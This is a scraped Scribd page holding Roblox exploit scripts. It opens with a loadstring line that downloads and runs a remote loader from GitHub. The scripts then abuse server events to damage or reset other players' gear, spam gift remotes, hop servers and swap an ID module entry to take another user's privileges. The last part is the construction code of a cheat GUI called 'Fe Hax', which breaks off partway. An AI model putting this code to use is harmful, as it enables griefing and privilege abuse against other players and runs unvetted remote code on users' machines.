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The document contains a script for a Roblox game that manipulates game mechanics, including invoking server events to modify player gear and teleporting players to different servers. It includes functions for damaging and healing gear parts, as well as managing GUI elements for user interaction. The script also references various color sequences and settings for visual effects within the game environment.
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0% found this document useful (0 votes)
12 views

aaaaaa

The document contains a script for a Roblox game that manipulates game mechanics, including invoking server events to modify player gear and teleporting players to different servers. It includes functions for damaging and healing gear parts, as well as managing GUI elements for user interaction. The script also references various color sequences and settings for visual effects within the game environment.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
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loadstring(game:HttpGet('https://raw.githubusercontent.

com/xeo-nn/OC-Panel/refs/
heads/main/Loader'))()

for i,v in pairs(workspace:GetDescendants()) do


if v.Name == "Gear Part" then
local args = {
[1] = {
[1] = v
},
[2] = "DefaultNumberValue",
[3] = 0,
[4] = "Damage"
}

game:GetService("ReplicatedStorage").Events.BehaviourObject:InvokeServer(unpack(arg
s))
end
end

--[[]]--
game.Players.LocalPlayer.PlayerGui.ConfettiCannon:Destroy() --reduce the lag by A
L O T
for _, v in pairs(game.Players:GetPlayers()) do
game.ReplicatedStorage.Events.Gifts.CanISendGiftToPlayer:InvokeServer(v.UserId,
1)
end
--

--[[]]--
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ConfettiCannon") --
reduce the lag by A L O T
if gui then
gui:Destroy()
end
local val = {40, 20, 10, 3}
for _, v in pairs(game.Players:GetPlayers()) do
for _, valint in pairs(val) do

print(game.ReplicatedStorage.Events.Gifts.CanISendGiftToPlayer:InvokeServer(v.UserI
d, valint))
end
end
--

warn("starting...")
local httprequest = (syn and syn.request) or (http and http.request) or
http_request or (fluxus and fluxus.request) or request
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local JobId = game.JobId
local PlaceId = game.PlaceId
local Players = game:GetService("Players")
local set = 45
local val = {40, 20, 10, 3}

local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ConfettiCannon")


if gui then
gui:Destroy()
end
coroutine.wrap(function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
for i,valint in ipairs(val) do
local s,err=pcall(function()
return
game.ReplicatedStorage.Events.Gifts.CanISendGiftToPlayer:InvokeServer(v.UserId,
valint)
end)
if s then
print(err) -- output to be sure if u shit wokring
else
warn("dawg create another alt account give -inf to small server -
_water2")
end
end
end
end)()

wait(set)
if httprequest then
local servers = {}
local success, req = pcall(function()
return httprequest({Url =
string.format("https://games.roblox.com/v1/games/%d/servers/Public?
sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
end)

if success and req then


local body = HttpService:JSONDecode(req.Body)

if body and body.data then


for _, a in pairs(body.data) do
if type(a) == "table" and tonumber(a.playing) and
tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
table.insert(servers, a.id)
end
end
end
else
warn("HTTP Request failed: " .. (req or "No response"))
end

if #servers > 0 then


local success, err = pcall(function()
TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1,
#servers)], Players.LocalPlayer)
end)
if not success then
warn("Teleport failed: " .. err)
end
else
warn("No servers available for teleportation.")
end
end
-- End

for i,v in pairs(workspace.Obbies:GetDescendants()) do


if v.Name == "Gear Part" then
local args = {
[1] = {
[1] = v
},
[2] = "DefaultNumberValue",
[3] = 0,
[4] = "Damage"
}

game:GetService("ReplicatedStorage").Events.BehaviourObject:InvokeServer(unpack(arg
s))
end
end -- gonna update for featured too my alt got banned 10 minute ago ☠️

local remote = game:GetService("ReplicatedStorage").Events.BehaviourObject


local obbies = workspace:FindFirstChild("Obbies")
local Damage = 0
local Heal = 1

local DamageGear = {1,4,3,7,2,5}

local function CheckifGear(value)


for i,v in ipairs(DamageGear) do
if value == tostring(v) then
return true
end
end
return false
end

local function BreakDamage(part)


if part:IsA'Part' then
local damageTable = {
[1] = {
[1] = part
},
[2] = "DefaultNumberValue",
[3] = Damage,
[4] = "Damage"
}
remote:InvokeServer(unpack(damageTable))
print("Damage Exploit Executed.")
end
end

local function BreakHeal(part)


if part:IsA'Part' then
local HealTable = {
[1] = {
[1] = part
},
[2] = "DefaultNumberValue",
[3] = Heal,
[4] = "Healing"
}
remote:InvokeServer(unpack(HealTable))
warn("Heal Exploit Executed.")
end
end

for i,a in pairs(obbies:GetDescendants()) do


if a:IsA("Part") and a.Name == "Gear Part" then
local value = a:FindFirstChild("Gn")
if value and value:IsA'StringValue' then
if CheckifGear(value.Value) then
BreakDamage(a)
elseif not CheckifGear(value.Value) then
BreakHeal(a)
end
else
warn("There is not gear part in the game. or Gn is deleted")
end
end
end

local remote = game:GetService("ReplicatedStorage").Events.BehaviourObject


local featured = false

if featured then
obbies = workspace
elseif not featured then
obbies = workspace:FindFirstChild("Obbies")
end

local Damage = 0
local Heal = 0

local DamageGear = {1,4,3,7,2,5}

local function CheckifGear(value)


for i,v in ipairs(DamageGear) do
if value == tostring(v) then
return true
end
end
return false
end

local function BreakDamage(part)


if part:IsA'Part' then
local damageTable = {
[1] = {
[1] = part
},
[2] = "DefaultNumberValue",
[3] = Damage,
[4] = "Damage"
}
remote:InvokeServer(unpack(damageTable))
print("Damage Exploit Executed.")
end
end

local function BreakHeal(part)


if part:IsA'Part' then
print(part:GetFullName())
local HealTable = {
[1] = {
[1] = part
},
[2] = "DefaultNumberValue",
[3] = Heal,
[4] = "Healing"
}
remote:InvokeServer(unpack(HealTable))
warn("Heal Exploit Executed.")
end
end

for i,a in pairs(obbies:GetDescendants()) do


if a:IsA("Part") and a.Name == "Gear Part" then
local value = a:FindFirstChild("Gn")
if value and value:IsA'StringValue' then
if CheckifGear(value.Value) then
BreakDamage(a)
elseif not CheckifGear(value.Value) then
BreakHeal(a)
end
else
warn("There is not gear part in the game. or Gn is deleted")
end
end
end

local mod = require(game:GetService("ReplicatedStorage").IdModule)


local id=game.Players.LocalPlayer.UserId
local marioid = 29444141

mod[id] = mod[marioid]
mod[marioid] = nil -- broski

for i,v in next, mod do


print(i,v)
end

game:GetService"Players".LocalPlayer.UserId = 29444141

Place a push block close to the gate of the obby (it kinda doesnt matter where you
place it), make the setting whatever you want. put rate and lifetime to 60, (if you
want a supernova, put light emmision to 1), the execute this script:

local lp = game.Players.LocalPlayer.Name

local r = Color3.fromRGB(255, 0, 0)
local o = Color3.fromRGB(255, 165, 0)
local y = Color3.fromRGB(255, 255, 0)
local g = Color3.fromRGB(0, 255, 0)
local b = Color3.fromRGB(0, 0, 255)
local p = Color3.fromRGB(180, 85, 162)
local be = Color3.fromRGB(255, 255, 255)
local be0 = Color3.fromRGB(255, 5, 155)
local be00 = Color3.fromRGB(55, 54, 255)
local be010 = Color3.fromRGB(0, 0, 0)
local be0110 = Color3.fromRGB(0, 255, 255)
local be01100 = Color3.fromRGB(100, 100, 100)
local be011000 = Color3.fromRGB(50, 150, 250)
local be0110000 = Color3.fromRGB(55, 147, 16)
local be01100000 = Color3.fromRGB(255, 0, 255)

local num = ColorSequence.new{


ColorSequenceKeypoint.new(0, r),
ColorSequenceKeypoint.new(0.05, o),
ColorSequenceKeypoint.new(0.1, y),
ColorSequenceKeypoint.new(0.15, g),
ColorSequenceKeypoint.new(0.2, b),
ColorSequenceKeypoint.new(0.25, p),
ColorSequenceKeypoint.new(0.3, be),
ColorSequenceKeypoint.new(0.35, be0),
ColorSequenceKeypoint.new(0.4, be00),
ColorSequenceKeypoint.new(0.45, be010),
ColorSequenceKeypoint.new(0.5, be0110),
ColorSequenceKeypoint.new(0.55, be01100),
ColorSequenceKeypoint.new(0.6, be011000),
ColorSequenceKeypoint.new(0.65, be0110000),
ColorSequenceKeypoint.new(1, be01100000),
}

local num = NumberSequence.new{


NumberSequenceKeypoint.new(0, 2000),
NumberSequenceKeypoint.new(1, 2000)
}

coroutine.wrap(function()
while wait() do
for i,v in pairs(workspace.Obbies[lp].Items["Push Parts"]:GetChildren()) do
game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Color", num2)
-- game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Size", num)
end
end
end)()

for i,v in pairs(workspace.Obbies[lp].Items["Push Parts"]:GetChildren()) do


game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Size", num)
end

local lp = game.Players.LocalPlayer.Name
local r = Color3.fromRGB(255, 0, 0)
local o = Color3.fromRGB(255, 165, 0)
local y = Color3.fromRGB(255, 255, 0)
local g = Color3.fromRGB(0, 255, 0)
local b = Color3.fromRGB(0, 0, 255)
local p = Color3.fromRGB(180, 85, 162)
local be = Color3.fromRGB(255, 255, 255)
local be0 = Color3.fromRGB(255, 5, 155)
local be00 = Color3.fromRGB(55, 54, 255)
local be010 = Color3.fromRGB(0, 0, 0)
local be0110 = Color3.fromRGB(0, 255, 255)
local be01100 = Color3.fromRGB(100, 100, 100)
local be011000 = Color3.fromRGB(50, 150, 250)
local be0110000 = Color3.fromRGB(55, 147, 16)
local be01100000 = Color3.fromRGB(255, 0, 255)

local num2 = ColorSequence.new{


ColorSequenceKeypoint.new(0, r),
ColorSequenceKeypoint.new(0.05, o),
ColorSequenceKeypoint.new(0.1, y),
ColorSequenceKeypoint.new(0.15, g),
ColorSequenceKeypoint.new(0.2, b),
ColorSequenceKeypoint.new(0.25, p),
ColorSequenceKeypoint.new(0.3, be),
ColorSequenceKeypoint.new(0.35, be0),
ColorSequenceKeypoint.new(0.4, be00),
ColorSequenceKeypoint.new(0.45, be010),
ColorSequenceKeypoint.new(0.5, be0110),
ColorSequenceKeypoint.new(0.55, be01100),
ColorSequenceKeypoint.new(0.6, be011000),
ColorSequenceKeypoint.new(0.65, be0110000),
ColorSequenceKeypoint.new(1, be01100000),
}

local num = NumberSequence.new{


NumberSequenceKeypoint.new(0, 2000),
NumberSequenceKeypoint.new(1, 2000)
}

coroutine.wrap(function()
while wait() do
for i,v in pairs(workspace.Obbies[lp].Items["Push Parts"]:GetChildren()) do
game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Color", num2)
-- game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Size", num)
end
end
end)()

for i,v in pairs(workspace.Obbies[lp].Items["Push Parts"]:GetChildren()) do


game:GetService("ReplicatedStorage").Events.EffectObject:InvokeServer({v},
"particles", "Size", num)
end

Fe Hax GUI IS tool that can manipulate the Character Model (Mannequin) in your obby
some of the featured button in the gui is patched especially (spawn part)
there is a settings tab to control what yo doing and how many you reducing lag
change the speed of the mannequin and inserting mannequin to your obby
"Block To lobby " button settings recommand to 50,150,200 only "Teleport block"
recommand to unachored and spawn part and settings to 0.2 (this now patched) cuz
mario yk yk

-- Gui to Lua
-- Version: 3.2

-- Instances:

local HAX = Instance.new("ScreenGui")


local DragUi = Instance.new("Frame")
local FEhaxText = Instance.new("Frame")
local mainscript = Instance.new("Frame")
local TextBox = Instance.new("TextBox")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local TextButton_3 = Instance.new("TextButton")
local TextButton_4 = Instance.new("TextButton")
local TextButton_5 = Instance.new("TextButton")
local TextButton_6 = Instance.new("TextButton")
local TextButton_7 = Instance.new("TextButton")
local TextButton_8 = Instance.new("TextButton")
local TextButton_9 = Instance.new("TextButton")
local FeHaxText1 = Instance.new("TextLabel")
local Credit = Instance.new("TextLabel")
local Credit_2 = Instance.new("TextLabel")
local CreditFrame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local Frame = Instance.new("Frame")
local TextLabel_2 = Instance.new("TextLabel")
local SettingsFrame = Instance.new("Frame")
local TextBox_2 = Instance.new("TextBox")
local TextLabel_3 = Instance.new("TextLabel")
local TextBox3 = Instance.new("TextBox")
local TextLabel_4 = Instance.new("TextLabel")
local TextButton_10 = Instance.new("TextButton")
local TextButton_11 = Instance.new("TextButton")
local TextButton_12 = Instance.new("TextButton")
local TextBox4 = Instance.new("TextBox")
local TextLabel_5 = Instance.new("TextLabel")
local SETTINGS = Instance.new("TextButton")
local Commands = Instance.new("TextButton")
local CREDITS = Instance.new("TextButton")
local line = Instance.new("Frame")
local CloseOpen = Instance.new("TextButton")

--Properties:

HAX.Name = "HAX"
HAX.Parent = game:GetService("CoreGui")
HAX.ResetOnSpawn = false
DragUi.Name = "DragUi"
DragUi.Parent = HAX
DragUi.BackgroundColor3 = Color3.fromRGB(67, 66, 67)
DragUi.BorderColor3 = Color3.fromRGB(0, 0, 0)
DragUi.BorderSizePixel = 0
DragUi.Position = UDim2.new(0.0403521769, 148, 0.219354838, 53)
DragUi.Size = UDim2.new(0, 397, 0, 21)

FEhaxText.Name = "FEhaxText"
FEhaxText.Parent = DragUi
FEhaxText.BackgroundColor3 = Color3.fromRGB(94, 92, 96)
FEhaxText.BorderColor3 = Color3.fromRGB(0, 0, 0)
FEhaxText.BorderSizePixel = 0
FEhaxText.Position = UDim2.new(0, 0, 1, 0)
FEhaxText.Size = UDim2.new(0, 397, 0, 71)

mainscript.Name = "mainscript"
mainscript.Parent = FEhaxText
mainscript.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
mainscript.BorderColor3 = Color3.fromRGB(0, 0, 0)
mainscript.BorderSizePixel = 0
mainscript.Position = UDim2.new(0, 0, 1.00000048, 0)
mainscript.Size = UDim2.new(0, 397, 0, 227)

TextBox.Parent = mainscript
TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.248743713, 0, 0.0530973449, 0)
TextBox.Size = UDim2.new(0, 200, 0, 50)
TextBox.Font = Enum.Font.SourceSans
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox.TextSize = 14.000

TextButton.Parent = mainscript
TextButton.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.0201005023, 0, 0.31844756, 0)
TextButton.Size = UDim2.new(0, 86, 0, 38)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Spawn block"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 14.000

TextButton_2.Parent = mainscript
TextButton_2.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.BorderSizePixel = 0
TextButton_2.Position = UDim2.new(0.253768831, 0, 0.31844756, 0)
TextButton_2.Size = UDim2.new(0, 91, 0, 38)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "Add Dummy"
TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.TextSize = 14.000
TextButton_2.TextWrapped = true

TextButton_3.Parent = mainscript
TextButton_3.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3.BorderSizePixel = 0
TextButton_3.Position = UDim2.new(0.507537603, 0, 0.31844756, 0)
TextButton_3.Size = UDim2.new(0, 91, 0, 38)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "Teleport Block"
TextButton_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.TextSize = 14.000
TextButton_3.TextWrapped = true

TextButton_4.Parent = mainscript
TextButton_4.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4.BorderSizePixel = 0
TextButton_4.Position = UDim2.new(0.751256227, 0, 0.31844756, 0)
TextButton_4.Size = UDim2.new(0, 91, 0, 38)
TextButton_4.Font = Enum.Font.SourceSans
TextButton_4.Text = "UnAnchore dummy"
TextButton_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4.TextSize = 14.000
TextButton_4.TextWrapped = true

TextButton_5.Parent = mainscript
TextButton_5.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_5.BorderSizePixel = 0
TextButton_5.Position = UDim2.new(0.0201005023, 0, 0.539589107, 0)
TextButton_5.Size = UDim2.new(0, 86, 0, 38)
TextButton_5.Font = Enum.Font.SourceSans
TextButton_5.Text = "Block To Specified User"
TextButton_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_5.TextSize = 14.000
TextButton_5.TextWrapped = true

TextButton_6.Parent = mainscript
TextButton_6.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6.BorderSizePixel = 0
TextButton_6.Position = UDim2.new(0.253768831, 0, 0.535183787, 0)
TextButton_6.Size = UDim2.new(0, 91, 0, 38)
TextButton_6.Font = Enum.Font.SourceSans
TextButton_6.Text = "WalkToPlayer"
TextButton_6.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6.TextSize = 14.000
TextButton_6.TextWrapped = true

TextButton_7.Parent = mainscript
TextButton_7.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.BorderSizePixel = 0
TextButton_7.Position = UDim2.new(0.507537603, 0, 0.539589107, 0)
TextButton_7.Size = UDim2.new(0, 91, 0, 38)
TextButton_7.Font = Enum.Font.SourceSans
TextButton_7.Text = "Thrown Model GUI"
TextButton_7.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7.TextSize = 14.000
TextButton_7.TextWrapped = true
TextButton_8.Parent = mainscript
TextButton_8.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.BorderSizePixel = 0
TextButton_8.Position = UDim2.new(0.751256108, 0, 0.538711905, 0)
TextButton_8.Size = UDim2.new(0, 91, 0, 38)
TextButton_8.Font = Enum.Font.SourceSans
TextButton_8.Text = "Protection"
TextButton_8.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8.TextSize = 14.000
TextButton_8.TextWrapped = true

TextButton_9.Parent = mainscript
TextButton_9.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_9.BorderSizePixel = 0
TextButton_9.Position = UDim2.new(0.0201005023, 0, 0.750165641, 0)
TextButton_9.Size = UDim2.new(0, 85, 0, 38)
TextButton_9.Font = Enum.Font.SourceSans
TextButton_9.Text = "Block To Lobby"
TextButton_9.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_9.TextSize = 14.000
TextButton_9.TextWrapped = true

FeHaxText1.Name = "FeHaxText1"
FeHaxText1.Parent = FEhaxText
FeHaxText1.BackgroundColor3 = Color3.fromRGB(94, 92, 96)
FeHaxText1.BorderColor3 = Color3.fromRGB(0, 0, 0)
FeHaxText1.BorderSizePixel = 0
FeHaxText1.Size = UDim2.new(0, 397, 0, 29)
FeHaxText1.Font = Enum.Font.Arial
FeHaxText1.Text = "Fe Hax GUI [OC VERSION] V4"
FeHaxText1.TextColor3 = Color3.fromRGB(255, 255, 255)
FeHaxText1.TextSize = 16.000

Credit.Name = "Credit"
Credit.Parent = FEhaxText
Credit.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
Credit.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credit.BorderSizePixel = 0
Credit.Position = UDim2.new(0.201004952, 0, 3.98412728, 0)
Credit.Size = UDim2.new(0, 318, 0, 24)
Credit.Visible = false
Credit.Font = Enum.Font.Arial
Credit.Text = "Some Script made by _water2"
Credit.TextColor3 = Color3.fromRGB(255, 255, 255)
Credit.TextSize = 24.000
Credit.TextWrapped = true

Credit_2.Name = "Credit"
Credit_2.Parent = FEhaxText
Credit_2.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
Credit_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credit_2.BorderSizePixel = 0
Credit_2.Position = UDim2.new(0.29396978, 0, 3.46031761, 0)
Credit_2.Size = UDim2.new(0, 281, 0, 18)
Credit_2.Visible = false
Credit_2.Font = Enum.Font.Arial
Credit_2.Text = "Gui made by wa_ter"
Credit_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Credit_2.TextSize = 24.000
Credit_2.TextWrapped = true

CreditFrame.Name = "CreditFrame"
CreditFrame.Parent = FEhaxText
CreditFrame.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
CreditFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
CreditFrame.BorderSizePixel = 0
CreditFrame.Position = UDim2.new(0, 0, 1.00000024, 0)
CreditFrame.Size = UDim2.new(0, 398, 0, 226)
CreditFrame.Visible = false

TextLabel.Parent = CreditFrame
TextLabel.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0.0175879393, 0, 0.0442477874, 0)
TextLabel.Size = UDim2.new(0, 298, 0, 87)
TextLabel.Font = Enum.Font.JosefinSans
TextLabel.LineHeight = 3.000
TextLabel.Text = "_water2 - Scripted Some Stuff"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextScaled = true
TextLabel.TextSize = 20.000
TextLabel.TextWrapped = true

Frame.Parent = CreditFrame
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.0326633155, 0, 0.486725658, 0)
Frame.Size = UDim2.new(0, 315, 0, -1)

TextLabel_2.Parent = CreditFrame
TextLabel_2.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Position = UDim2.new(0.0326633155, 0, 0.557522118, 0)
TextLabel_2.Size = UDim2.new(0, 301, 0, 31)
TextLabel_2.Font = Enum.Font.JosefinSans
TextLabel_2.Text = "wa_ter - made the ui"
TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.TextSize = 20.000
TextLabel_2.TextWrapped = true

SettingsFrame.Name = "SettingsFrame"
SettingsFrame.Parent = FEhaxText
SettingsFrame.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
SettingsFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
SettingsFrame.BorderSizePixel = 0
SettingsFrame.Position = UDim2.new(0, 0, 1.00000024, 0)
SettingsFrame.Size = UDim2.new(0, 398, 0, 227)
SettingsFrame.Visible = false

TextBox_2.Parent = SettingsFrame
TextBox_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextBox_2.BorderSizePixel = 0
TextBox_2.Position = UDim2.new(0.0577889457, 0, 0.06167401, 0)
TextBox_2.Size = UDim2.new(0, 154, 0, 35)
TextBox_2.Font = Enum.Font.SourceSans
TextBox_2.PlaceholderText = "1 / 200"
TextBox_2.Text = ""
TextBox_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox_2.TextSize = 14.000

TextLabel_3.Parent = SettingsFrame
TextLabel_3.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_3.BorderSizePixel = 0
TextLabel_3.Position = UDim2.new(0.46482411, 0, 0.06167401, 0)
TextLabel_3.Size = UDim2.new(0, 200, 0, 35)
TextLabel_3.Font = Enum.Font.Arial
TextLabel_3.Text = "- Add Dummy"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.TextSize = 20.000

TextBox3.Name = "TextBox3"
TextBox3.Parent = SettingsFrame
TextBox3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextBox3.BorderSizePixel = 0
TextBox3.Position = UDim2.new(0.0577889457, 0, 0.259911895, 0)
TextBox3.Size = UDim2.new(0, 154, 0, 35)
TextBox3.Font = Enum.Font.SourceSans
TextBox3.PlaceholderText = "0 / inf"
TextBox3.Text = ""
TextBox3.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox3.TextSize = 14.000

TextLabel_4.Parent = SettingsFrame
TextLabel_4.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_4.BorderSizePixel = 0
TextLabel_4.Position = UDim2.new(0.46482411, 0, 0.259911895, 0)
TextLabel_4.Size = UDim2.new(0, 200, 0, 35)
TextLabel_4.Font = Enum.Font.Arial
TextLabel_4.Text = "- Distance when spawning Part"
TextLabel_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.TextScaled = true
TextLabel_4.TextSize = 20.000
TextLabel_4.TextWrapped = true

TextButton_10.Parent = SettingsFrame
TextButton_10.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10.BorderSizePixel = 0
TextButton_10.Position = UDim2.new(0.0577889457, 0, 0.440528631, 0)
TextButton_10.Size = UDim2.new(0, 154, 0, 29)
TextButton_10.Font = Enum.Font.Arial
TextButton_10.Text = "Reduce Lag"
TextButton_10.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_10.TextSize = 20.000

TextButton_11.Parent = SettingsFrame
TextButton_11.BackgroundColor3 = Color3.fromRGB(170, 0, 0)
TextButton_11.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_11.BorderSizePixel = 0
TextButton_11.Position = UDim2.new(0.585427165, 0, 0.819383264, 0)
TextButton_11.Size = UDim2.new(0, 154, 0, 29)
TextButton_11.Font = Enum.Font.Arial
TextButton_11.Text = "DELETE GUI"
TextButton_11.TextColor3 = Color3.fromRGB(255, 0, 0)
TextButton_11.TextSize = 20.000

TextButton_12.Parent = SettingsFrame
TextButton_12.BackgroundColor3 = Color3.fromRGB(87, 84, 89)
TextButton_12.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_12.BorderSizePixel = 0
TextButton_12.Position = UDim2.new(0.0577889457, 0, 0.819383264, 0)
TextButton_12.Size = UDim2.new(0, 154, 0, 29)
TextButton_12.Font = Enum.Font.Arial
TextButton_12.Text = "Set Speed"
TextButton_12.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_12.TextSize = 20.000

TextBox4.Name = "TextBox4"
TextBox4.Parent = SettingsFrame
TextBox4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextBox4.BorderSizePixel = 0
TextBox4.Position = UDim2.new(0.0577889457, 0, 0.634361207, 0)
TextBox4.Size = UDim2.new(0, 154, 0, 35)
TextBox4.Font = Enum.Font.SourceSans
TextBox4.PlaceholderText = "0 / inf (Speed)"
TextBox4.Text = ""
TextBox4.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox4.TextSize = 14.000

TextLabel_5.Parent = SettingsFrame
TextLabel_5.BackgroundColor3 = Color3.fromRGB(40, 39, 40)
TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_5.BorderSizePixel = 0
TextLabel_5.Position = UDim2.new(0.46482411, 0, 0.634361207, 0)
TextLabel_5.Size = UDim2.new(0, 200, 0, 35)
TextLabel_5.Font = Enum.Font.Arial
TextLabel_5.Text = "- Set The Dummy WalkSpeed"
TextLabel_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.TextScaled = true
TextLabel_5.TextSize = 20.000
TextLabel_5.TextWrapped = true

SETTINGS.Name = "SETTINGS"
SETTINGS.Parent = FEhaxText
SETTINGS.BackgroundColor3 = Color3.fromRGB(94, 92, 96)
SETTINGS.BorderColor3 = Color3.fromRGB(0, 0, 0)
SETTINGS.BorderSizePixel = 0
SETTINGS.Position = UDim2.new(0.562617898, 0, 0.57142961, 0)
SETTINGS.Size = UDim2.new(0, 99, 0, 25)
SETTINGS.AutoButtonColor = false
SETTINGS.Font = Enum.Font.SourceSans
SETTINGS.Text = "SETTINGS"
SETTINGS.TextColor3 = Color3.fromRGB(255, 255, 255)
SETTINGS.TextSize = 20.000

Commands.Name = "Commands"
Commands.Parent = FEhaxText
Commands.BackgroundColor3 = Color3.fromRGB(94, 92, 96)
Commands.BorderColor3 = Color3.fromRGB(0, 0, 0)
Commands.BorderSizePixel = 0
Commands.Position = UDim2.new(0.0175879635, 0, 0.57142961, 0)
Commands.Size = UDim2.new(0, 109, 0, 25)
Commands.AutoButtonColor = false
Commands.Font = Enum.Font.SourceSans
Commands.Text = "COMMANDS"
Commands.TextColor3 = Color3.fromRGB(255, 255, 255)
Commands.TextSize = 20.000

CREDITS.Name = "CREDITS"
CREDITS.Parent = FEhaxText
CREDITS.BackgroundColor3 = Color3.fromRGB(94, 92, 96)
CREDITS.BorderColor3 = Color3.fromRGB(0, 0, 0)
CREDITS.BorderSizePixel = 0
CREDITS.Position = UDim2.new(0.291362315, 0, 0.57142961, 0)
CREDITS.Size = UDim2.new(0, 108, 0, 25)
CREDITS.AutoButtonColor = false
CREDITS.Selected = true
CREDITS.Font = Enum.Font.SourceSans
CREDITS.Text = "CREDITS"
CREDITS.TextColor3 = Color3.fromRGB(255, 255, 255)
CREDITS.TextSize = 20.000

line.Name = "line"
line.Parent = FEhaxText
line.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
